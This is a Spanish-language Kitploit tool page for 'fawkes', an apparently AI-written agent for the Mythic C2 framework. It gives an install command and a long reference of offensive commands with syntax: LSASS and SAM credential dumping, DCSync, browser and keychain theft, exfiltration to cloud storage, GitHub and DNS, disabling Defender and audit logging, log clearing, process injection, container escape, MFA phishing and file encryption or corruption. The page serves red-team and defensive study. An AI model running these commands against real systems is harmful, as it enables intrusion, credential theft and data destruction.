Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
fawkes — Fawkes es un agente C2 Mythic en Golang exclusivamente escrito por IA. | Kitploit
Herramientas/GitHubGitHub/galoryber/fawkes
Herramientas DefensivasFrameworks de Pruebas de PenetraciónEscalada de PrivilegiosFrameworks de ExploitsMovimiento LateralPost-ExplotaciónSeguridad en la NubeComando y ControlDesarrollo de PayloadsEscape de Contenedores
GitHub
356hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
galoryber/fawkes

fawkes

Fawkes es un agente C2 Mythic en Golang exclusivamente escrito por IA.

Ver Repositorio

Agente Fawkes para Mythic C2

Fawkes es un agente de Mythic C2 creado completamente con prompts (vibe-coded). Comenzó como un "me pregunto" y se ha convertido en un objetivo. Mi objetivo es no escribir ni una sola línea de código para este agente, produciéndolo exclusivamente mediante un prompt.

Originalmente intenté escribir el agente yo mismo, pero después de clonar el contenedor de ejemplo, leer la documentación de mythic, ver los videos de la serie de desarrollo en YouTube y copiar código de otros agentes como Merlin o Freyja, decidí que simplemente no tenía tiempo para desarrollar mi propio agente. Sin embargo, un prompt, para eso tengo tiempo.

Fawkes es un agente basado en Golang con capacidades multiplataforma. Admite Windows (EXE, DLL y payloads shellcode), Linux (binarios ELF y bibliotecas compartidas) y macOS (binarios Mach-O para Intel y Apple Silicon). 213 comandos en total: 113 multiplataforma, 82 solo Windows, 21 solo Unix, 11 solo Linux y 6 solo macOS (algunos comandos tienen implementaciones específicas de plataforma que comparten un nombre visible para el usuario, por ejemplo, screenshot). Admite enlace HTTP de salida y TCP peer-to-peer (P2P) para pivoteo interno.

Instalación

Para instalar Fawkes, necesitarás tener Mythic instalado en una computadora remota. Puedes encontrar instrucciones de instalación para Mythic en la página del proyecto Mythic.

Desde el directorio de instalación de Mythic:``` ./mythic-cli install github https://github.com/galoryber/fawkes

root@kitploit:~
## Referencia rápida de comandosCommand | Sintaxis | Descripción
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Leer/modificar DACLs de objetos de Active Directory (añadir/eliminar ACEs, conceder DCSync, GenericAll, copia de seguridad/restauración). Multiplataforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumerar Servicios de Certificados de AD, encontrar plantillas vulnerables (ESC1-ESC4, ESC6 vía DCOM), solicitar certificados vía DCOM para explotación ESC1/ESC6, o auto-explotar (cadena buscar → parsear → solicitar). Multiplataforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Solo Windows)** Gestionar flujos de datos alternativos de NTFS: escribir, leer, listar o eliminar flujos de datos ocultos. Soporta texto y binario codificado en hex. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Consultar y limpiar artefactos forenses de ejecución. Windows: Shimcache. Linux: recently-used.xbel, miniaturas, Tracker. macOS: elementos recientes, KnowledgeC, cuarentena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Solo Windows)** Inyección en procesos remotos. `-method apc` (por defecto) encola shellcode vía NtQueueApcThread en un hilo alertable (usa `ts` para encontrar uno). `-method hwbp` se adjunta vía DebugActiveProcess, establece un punto de interrupción de hardware DR0 en una API objetivo (por defecto `ntdll!NtDelayExecution`) y redirige Rip al shellcode cuando se dispara el punto de interrupción — no requiere TID, ni cola APC, ni CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Grabar audio desde el micrófono y subir archivo WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multiplataforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Solo Windows)** Consultar y modificar políticas de auditoría de Windows. Deshabilitar el registro de eventos de seguridad antes de operaciones sensibles. El modo sigiloso deshabilita subcategorías críticas de detección. Usa la API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Solo Windows)** Ejecutar un comando con argumentos de proceso falsificados. Derrota Sysmon Event ID 1 y telemetría de línea de comandos de EDR (T1564.010).
arp | `arp [-ip <subnet>]` o `arp -action spoof -target <IP> -gateway <IP>` | Mostrar tabla ARP con filtrado, o envenenamiento de caché ARP para posicionamiento MITM (T1557.002). Spoof: solo Linux, restaura en limpieza.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Solicitar tickets AS-REP para cuentas sin preautenticación y extraer hashes en formato hashcat para descifrado offline. Auto-enumeración vía LDAP. Multiplataforma (T1558.004).
av-detect | `av-detect [-deep true]` | Detectar productos AV/EDR/seguridad instalados escaneando procesos en ejecución contra una base de firmas de más de 130. Con `--deep`, también revisa módulos del kernel, unidades systemd y directorios de configuración para productos instalados pero no en ejecución (Linux). Informa producto, proveedor, tipo y PID. Multiplataforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Solo Windows)** Parchear automáticamente una función saltando al return (C3) más cercano. Útil para evasiones de AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Kit de herramientas de codificación de datos: base64, XOR (con clave string/hex), hex, ROT13, codificación URL por porcentaje, cifrado César. Todos soportan E/S de archivos. Multiplataforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Solo Windows)** Gestionar trabajos de transferencia BITS para persistencia y descarga sigilosa de archivos. Crear, suspender, reanudar, completar trabajos y establecer comandos de notificación para persistencia. Los trabajos sobreviven reinicios (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Cosechar datos del navegador de Chromium, Firefox y Safari. Historial, autocompletado, marcadores, descargas multiplataforma. Contraseñas: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (descifrado key4.db NSS), Safari (macOS Keychain). Cookies de Firefox en todas las plataformas. MITRE T1555.003, T1217.
cat | `cat <file>` o `cat -path <file> -start N -end N -number true` | Mostrar contenido de archivo con rango de líneas opcional, numeración y protección de tamaño máximo de 5MB.
cd | `cd <directory>` | Cambiar el directorio de trabajo actual.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modificar permisos de archivo/directorio con notación octal (755, 644) o simbólica (+x, u+rw, go-w). Soporte recursivo. Multiplataforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Solo Linux/macOS)** Cambiar propietario/grupo de archivo/directorio por nombre de usuario/UID y nombre de grupo/GID. Soporte recursivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspeccionar certificados TLS en hosts remotos — identifica CAs, certificados autofirmados, caducidad, SANs, versión TLS, suites de cifrado y huellas SHA256. Multiplataforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Solo Windows)** Enumerar almacenes de certificados de Windows para encontrar certificados de firma de código, certificados de autenticación de cliente y claves privadas. Busca en CurrentUser y LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Leer/escribir portapapeles o monitorear continuamente cambios con detección de patrones de credenciales. Multiplataforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadatos en la nube, extracción de credenciales, enumeración IAM, enumeración de almacenamiento, persistencia y acceso a almacenes de secretos. storage/aws-s3/azure-blob/gcp-gcs: enumerar buckets/contenedores con objetos de muestra. aws-ssm: SSM Parameter Store con descifrado. azure-keyvault: Key Vault secrets vía identidad administrada. gcp-secrets: Secret Manager vía cuenta de servicio. aws-persist/azure-persist: crear claves de acceso/registros de aplicación de larga duración. Auto-detección. IMDSv2. Multiplataforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Crear, listar, extraer, almacenar o exfiltrar archivos. Store cifra con AES-256-GCM. Exfil transfiere a Mythic. exfil-https: subir a URLs prefirmadas S3/Azure/GCS con subidas fragmentadas, cabeceras personalizadas, jitter. exfil-github: exfiltrar vía GitHub Contents API. Multiplataforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coerción de autenticación NTLM vía MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Fuerza al objetivo a autenticarse en el listener atacante. Soporte pass-the-hash. Multiplataforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Ver o modificar la configuración del agente en tiempo de ejecución, o auto-actualizar el binario del agente. `show`/`set`: sleep, jitter, fecha de muerte, horario laboral. `update`: descargar nuevo payload desde Mythic, verificar, lanzar y salir del agente actual. Multiplataforma (T1105).
container-detect | `container-detect` | Detectar entorno y tiempo de ejecución de contenedor (Docker, K8s, LXC, Podman, WSL). Verifica vectores de escape como sockets Docker y cuentas de servicio de K8s. Multiplataforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Solo Linux)** Escape de contenedor + operaciones K8s — socket Docker, cgroup, nsenter, montaje de dispositivo host. K8s: enumerar pods/servicios, leer secretos, **k8s-rbac**: barrido de ClusterRole/RoleBinding + puntuación de vías de escalada de privilegios (crit/warn/info), **k8s-nodes**: superficie de ataque de nodo del clúster (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: descubrir endpoints de cliente etcd desde args de pod plano de control + sonda `/version` no autenticada por endpoint (lectura no auth = compromiso completo del clúster), desplegar/ejecutar pods vía API. **Fuera del clúster**: `-kubeconfig` acepta archivos kubeconfig robados para acceso K8s desde hosts no contenedores (auth token + certificado de cliente) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copiar un archivo de origen a destino.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Probar credenciales contra SMB, WinRM y LDAP en hosts objetivo. `verify-all` prueba todas las credenciales del almacén contra los hosts descubiertos en paralelo. Multiplataforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Cosechar credenciales: shadow hashes (Unix), configuraciones cloud (AWS/GCP/Azure/K8s), secretos de aplicaciones, escaneo de historial de shell en busca de contraseñas/tokens/claves API filtradas, historial de PowerShell + variables de entorno + RDP (Windows), tokens M365 OAuth/JWT de TokenBroker/Teams/Outlook (Windows), **browser-live**: robar cookies activas, localStorage, sessionStorage vía Chrome DevTools Protocol (CDP) desde Chrome/Edge en ejecución. **dump-all**: cadena de subtareas automatizada — ejecuta hashdump + lsa-secrets + cred-harvest todo en paralelo (Windows). Multiplataforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Mostrar diálogo de credenciales nativo, abusar del flujo de código de dispositivo OAuth o suplantar códigos MFA. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: flujo de código de dispositivo Azure AD OAuth para captura de tokens. mfa-phish: diálogo de verificación MFA falso para capturar códigos TOTP. Multiplataforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Solicitudes HTTP + exfiltración de subida de archivos (T1567). Subir a URLs prefirmadas S3, Azure SAS, endpoints genéricos. Multiplataforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extraer campos o rangos de caracteres de líneas de archivo. Delimitadores personalizados, especificaciones de rango. Multiplataforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumerar almacenes de credenciales de la plataforma. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, contraseñas WiFi/VPN de NetworkManager, GNOME Online Accounts. macOS: elementos de Keychain (contraseñas genéricas + de internet), contraseñas WiFi. `list`=metadatos, `dump`=con secretos, `vault`=solo Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Solo Windows)** Gestionar Defender — estado, exclusiones, amenazas, habilitar/deshabilitar protección en tiempo real. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Solo Windows)** Descifrado de blob DPAPI (CryptUnprotectData), enumeración de claves maestras, extracción de clave de cifrado de Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Solo Windows)** Acceder al buzón de Outlook vía COM. Contar mensajes, buscar por palabra clave, leer por índice, listar carpetas. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Solo Windows)** Ejecutar comandos, subir archivos o almacenar y ejecutar en hosts remotos vía DCOM. `check` valida requisitos previos RPC/DCOM. upload: transferir archivos vía staging certutil/PowerShell. exec-staged: subir luego ejecutar con auto-limpieza. Seis objetos COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Detectar depuradores adjuntos, herramientas de análisis e instrumentación. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registros DR. Linux: TracerPid, LD_PRELOAD, mapas de memoria (Frida/Valgrind/sanitizers), VM/sandbox, monitoreo eBPF (Falco/Tetragon/Tracee), framework auditd, alcance ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, detección de VM (sysctl), productos de seguridad (EDR/AV), sandbox/entorno de análisis. Todos: escaneo de procesos depuradores (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replicar credenciales de AD vía DRS sin tocar LSASS. `domain-takeover` ejecuta kerberoast + asrep-roast + dcsync krbtgt/Administrator en paralelo. Multiplataforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Informar del uso de espacio en disco del sistema de archivos con filtrado opcional de dispositivo, punto de montaje o fstype. Multiplataforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparar dos archivos y mostrar diferencias en formato diff unificado. Algoritmo basado en LCS con líneas de contexto configurables. Multiplataforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumeración DNS — resolver hosts, consultar registros, descubrir DCs, transferencias de zona, detección de wildcard, resolución sigilosa DNS-over-HTTPS, exfiltración DNS. Multiplataforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Informar del uso de disco para archivos y directorios. Desglose de tamaño por subdirectorio, ordenado por el más grande. Multiplataforma (T1083).
drivers | `drivers [-filter <name>]` | Enumerar controladores/módulos del kernel cargados. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumeración kext. Multiplataforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Política de contraseñas/bloqueo de AD y enumeración FGPP vía LDAP. Recomendaciones seguras contra spray. Multiplataforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Solo Linux/macOS)** Listar, añadir o eliminar trabajos cron para persistencia. Soporta entradas cron sin procesar o sintaxis de programa+horario.
download | `download <path>` o `download {"path": "/file", "compress": true}` | Descargar un archivo o directorio del objetivo. Archivos >1MB se comprimen automáticamente con gzip (configurable). Directorios se comprimen en zip automáticamente. Verificación de hash SHA256. Transferencia fragmentada, integración con navegador de archivos.
drives | `drives` | Listar unidades/volúmenes disponibles y sistemas de archivos montados con tipo, etiqueta/dispositivo y espacio libre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Solo Windows)** Enumerar tokens de acceso en todos los procesos. `list` muestra PID/usuario/integridad/sesión para cada proceso. `unique` agrupa por usuario con recuentos de procesos. Auto-habilita SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Cifrado/descifrado AES-256-GCM (T1486) + corrupción dirigida de archivos (T1565). corrupt: sobrescribir cabeceras de archivo con datos aleatorios. Se requieren compuertas de seguridad para operaciones destructivas.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Listar, obtener, establecer o eliminar variables de entorno para el proceso del agente. Los cambios son heredados por procesos hijos. Multiplataforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Escanear variables de entorno de procesos en busca de credenciales filtradas, claves API y secretos. Más de 35 patrones de detección en categorías de cloud, base de datos, CI/CD y cripto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulación del subsistema de auditoría/telemetría. Windows: sesiones/proveedores ETW stop/blind/blind-all/enable/patch/restore. Linux: reglas auditd, journald clear/rotate, configuración syslog, detección de agentes SIEM. macOS: registro unificado, detección de agentes de seguridad. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gestionar registros de eventos del sistema. Windows: canales wevtapi.dll. Linux: unidades journald y archivos syslog. macOS: subsistemas/procesos de Unified Logging (os_log). Listar fuentes, consultar eventos, limpiar/vacuar registros, obtener información. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Ejecutar un binario nativo desde memoria. Linux: memfd_create (sin escritura en disco). macOS: archivo temporal con ad-hoc codesign. Windows: archivo temporal con limpieza inmediata. Todas las plataformas eliminan artefactos tras la ejecución. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Ejecutar shellcode en el proceso actual. Soporta shellcode codificado con XOR/AES-256-CTR con descifrado en tiempo de ejecución (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (por defecto) o memfd_create. macOS: MAP_JIT (ARM64) o mmap. Multiplataforma (T1059.006, T1620).
exit | `exit` | Indicar al agente que termine.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obtener o establecer atributos de archivo — oculto, solo lectura, sistema (Windows); inmutable, append, nodump (Linux); oculto, inmutable (macOS). Omitir -attrs para ver las banderas actuales. Multiplataforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identificar tipos de archivo por bytes mágicos (más de 35 firmas). Escaneo de un solo archivo o directorio. Detecta ejecutables, archivos, documentos, imágenes, bases de datos, medios y más. Multiplataforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Buscar archivos por nombre, tamaño, fecha, permisos o propietario. Encontrar binarios SUID, archivos escribibles globalmente, archivos propiedad de usuarios específicos. Multiplataforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Barrer hosts para descubrir dónde las credenciales tienen acceso de administrador vía SMB (recurso compartido C$) y/o WinRM. **auto-move**: cadena de subtareas automatizada — encontrar hosts admin luego moverse lateralmente a cada uno vía psexec/wmi. Soporta CIDR, rangos IP, PTH, escaneo paralelo (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gestionar reglas de cortafuegos. Windows: API COM. macOS: ALF + reglas ancladas pf. Linux: iptables/nftables (auto-detectado). Soporte de anclas PF para filtrado de paquetes en macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Listar privilegios/capacidades. Windows: privilegios de token con enable/disable/strip. Linux: capacidades de proceso (CapEff/CapPrm) + contexto SELinux/AppArmor. macOS: entitlements, sandbox, grupos (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalada de privilegios. Windows: SYSTEM vía robo de token o DCOM potato. Linux: verificar vectores de escalada (SUID, sudo, capacidades, docker) o intentar elevación sudo. macOS: verificar vectores, sudo o solicitud administrativa osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Buscar en SYSVOL archivos XML de GPP con atributos cpassword cifrados y descifrar usando la clave AES publicada (MS14-025). Multiplataforma vía SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumerar Objetos de Política de Grupo vía LDAP — listar GPOs, mapear enlaces con aplicación, encontrar configuraciones CSE interesantes. Multiplataforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Buscar contenidos de archivos con patrones regex. Búsqueda recursiva de directorios con filtrado de extensiones, líneas de contexto y omisión de archivos binarios. Multiplataforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcular hashes de archivo (MD5, SHA-1, SHA-256, SHA-512). Archivos individuales o directorios con filtrado de patrón glob y control de profundidad. Multiplataforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Mostrar contenido de archivo en formato hex+ASCII estilo xxd. Control de offset/longitud para examinar regiones específicas, máximo 4096 bytes. Multiplataforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumerar manejadores/descriptores de archivo abiertos en un proceso. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extraer hashes de contraseñas de cuentas locales. Windows: hashes NTLM del registro SAM (requiere SYSTEM); **insitu**: enumerar sesiones de inicio de sesión activas vía APIs LSA en proceso (requiere admin); **insitu-full**: abrir lsass.exe con PROCESS_VM_READ, escanear firma de lsasrv.dll para LogonSessionList, recorrer la lista enlazada, superponer el diseño KIWI_MSV1_0_LIST_63 en cada nodo para analizar LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, recorrer la cadena de credenciales por paquete de autenticación en credentials_ptr para capturar cada envoltorio KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, escanear firma de LsaInitializeProtectedMemory_Internal para recuperar los globales de clave BCrypt IV / h3DesKey / hAesKey más los bytes brutos de IV de 16 bytes / 3DES de 24 bytes / AES de 32 bytes, descifrar AES-256-CFB / 3DES-CBC cada blob de texto cifrado capturado (seleccionado por blob según `len % 8`), y superponer el diseño KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW para extraer hashes NT/LM/SHA — emitidos en formato `username:rid:lm:nt:::` compatible con el enlace del vault de credenciales del ProcessResponse de la acción dump (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, requiere admin). Linux: hashes /etc/shadow con identificación de tipo de hash (requiere root). macOS: hashes PBKDF2 de Directory Services desde plists de usuario (requiere root). **auto-spray**: volcar hashes luego rociarlos automáticamente vía cred-check contra hosts objetivo. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Listar o limpiar archivos de historial de comandos de shell/aplicación. Cubre bash, zsh, fish, PowerShell, python, mysql y más. Multiplataforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Vaciado de proceso — crear proceso suspendido, escribir shellcode, redirigir ejecución. **Windows:** CREATE_SUSPENDED + SetThreadContext, suplantación de PPID, bloqueo de DLL, decoración de PEB (enmascaramiento de ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + escritura /proc/mem. **macOS:** ptrace + APIs Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — requiere root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumerar configuraciones de IDE — extensiones de VS Code, hosts SSH remotos, proyectos recientes, configuraciones con secretos. Fuentes de datos de JetBrains, servidores de despliegue, proyectos recientes. Multiplataforma (T1005, T1083).
ifconfig | `ifconfig` | Listar interfaces de red con direcciones, MAC, MTU y banderas. Multiplataforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Solo Windows)** Ejecutar un ensamblado .NET en memoria usando CLR. Soporta argumentos de línea de comandos. Usar `start-clr` primero para flujo de parcheo AMSI.
inline-execute | `inline-execute` | **(Solo Windows)** Ejecutar un Beacon Object File (BOF/COFF) en memoria. Soporta todos los tipos de argumento: strings (z), wide strings (Z), enteros (i), shorts (s) y binarios (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Solo Windows)** Cargar un PE nativo (DLL) desde memoria en el proceso actual. Mapeo manual de PE con copia de secciones, arreglos de reubicación, resolución de importaciones e invocación de DllMain. Opcionalmente llamar a funciones exportadas (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Solo Linux)** Enumeración y gestión de cortafuegos Linux vía iptables/nftables/ufw. Reenvío de IP, seguimiento de conexiones, listado y modificación de reglas. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Detener una tarea en ejecución por ID de tarea. Usar `jobs` para listar tareas en ejecución. Multiplataforma.
jobs | `jobs` | Listar tareas actualmente en ejecución con ID de tarea, nombre de comando y duración. Multiplataforma.
jxa | `jxa -code '<script>' [-timeout 60]` o `jxa -file /path/to/script.js` | **(Solo macOS)** Ejecutar scripts de JavaScript para Automatización (JXA) con acceso al puente ObjC a los frameworks Foundation, AppKit, Security. Soporta código en línea y entrada de archivo (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Solicitar tickets TGS para cuentas SPN y extraer hashes en formato hashcat para descifrado offline. Auto-enumeración vía LDAP. Multiplataforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumerar, volcar, purgar e importar tickets Kerberos. Importar habilita Pass-the-Ticket: Windows inyecta kirbi vía LSA, Linux/macOS escribe ccache y establece KRB5CCNAME. Multiplataforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Solo macOS)** Acceder al Llavero de macOS — listar llaveros, volcar metadatos, encontrar contraseñas genéricas/de internet, enumerar certificados.
